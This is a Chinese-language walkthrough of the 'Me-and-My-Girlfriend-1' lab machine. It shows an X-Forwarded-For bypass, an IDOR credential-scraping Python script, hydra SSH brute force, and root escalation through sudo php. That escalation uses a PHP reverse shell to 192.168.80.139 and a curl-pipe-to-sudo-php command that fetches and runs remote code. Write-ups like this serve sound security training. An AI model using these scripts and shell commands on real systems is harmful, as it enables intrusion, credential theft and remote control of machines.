Me-and-My-Girlfriend-1
一、主机发现和端口扫描
-
主机发现,靶机地址192.168.80.147
arp-scan -l
-
端口扫描,开放了22、80端口
nmap -A -p- -sV 192.168.80.147
二、信息收集
-
访问80端口
-
路径扫描
dirsearch -u "http://192.168.80.147/" -e *
-
没有发现有价值的信息,访问
/index.php/login/
发现和主页一样,发现了提示信息Who are you? Hacker? Sorry This Site Can Only Be Accessed local! Maybe you can search how to use x-forwarded-for
三、漏洞发现
-
按着提示使用BP添加x-forwarded-for
-
跳转到
/index.php/login/?page=index
,共四个功能home:主页 login:登录 register:注册 about:介绍
-
在BP中添加一个本地参数,方便以后访问
-
或者使用火狐的插件
-
尝试了弱口令爆破,但是没有成功,有尝试注册一个用户然后登陆
四、漏洞利用
-
发现URL为
/index.php?page=dashboard&user_id=12
,发现存在水平越权,更改参数值可以查看其他用户的用户名和密码 -
编写一个脚本,爬取用户信息
#coding=utf-8 import requests import re def getUsernamePasswd(id): cookies = {'PHPSESSID':'gklg9vpe0vlnvkkkjcj80pnhv1'} headers = {'X-Forwarded-For':'127.0.0.1'} data = requests.get(url="http://192.168.80.147/index.php?page=profile&user_id=%s" % id,headers=headers,cookies=cookies).text username = re.search('"username"\svalue="(.*?)"',data).group(1) passwd = re.search('"password"\svalue="(.*?)"',data).group(1) return username,passwd for i in range(0,12): try: username,passwd = (getUsernamePasswd(i)) if username: print(username+":"+passwd) except: None
五、获得shell
-
利用收集到的用户信息,爆破ssh
hydra -C userpass ssh://192.168.80.147
-
登录用户,获得shell
六、权限提升
-
查看可以执行的特权命令。发现可以使用root权限执行php,而且不需要密码
sudo -l
-
kali创建一个php文件,并开启nc监听
<?php $sock=fsockopen("192.168.80.139",8848); exec("/bin/sh -i <&3 >&3 2>&3"); ?>
-
使用靶机下载并用sudo执行
curl http://192.168.80.139/glc.php|sudo php
-
提权成功
-
结束